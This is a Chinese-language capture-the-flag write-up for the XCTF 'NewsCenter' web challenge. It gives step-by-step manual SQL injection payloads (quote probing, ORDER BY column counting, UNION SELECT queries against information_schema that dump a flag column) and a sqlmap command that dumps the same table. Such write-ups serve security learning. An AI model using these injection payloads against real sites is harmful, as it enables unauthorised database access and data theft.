攻防世界-Web-NewsCenter
知识点
1.手工sql注入
2.sqlmap工具注入
步骤
方法一:手工
1.打开网站,发现查询输入框,不输入回车,有七条数据,输入1有两条数据,判断回查询数据库。
2.判断是否存在sql注入
输入1',页面报错,可能存在sql注入。
3.判断类型
输入1 and 1=1,页面无回显,1 and 1=2,页面无回显,判断不是数字型。
输入' and 1=1 #,页面有回显,' and 1=2 #,页面无回显,判断为字符型。
这里输入1' and 1=1 #和1' and 1=2 #来判断是否为字符不知道为什么都不回显(有知道的可以评论)
4.判断字段数
' order by 3 #
超过3时会报错,所以字段数为3
5.查看回显地方
1' union select 1,2,3 #
6.查询数据库
1' union select 1,database(),3 #
7.查询表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news' #
8.查询字段
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table' #
9.查询数据
1' union select 1,2,group_concat(fl4g) from secret_table #
方法二:sqlmap
因为是post请求,所以先包,然后保存
python sqlmap.py -r 1.txt -D news -T secret_table -C fl4g --dump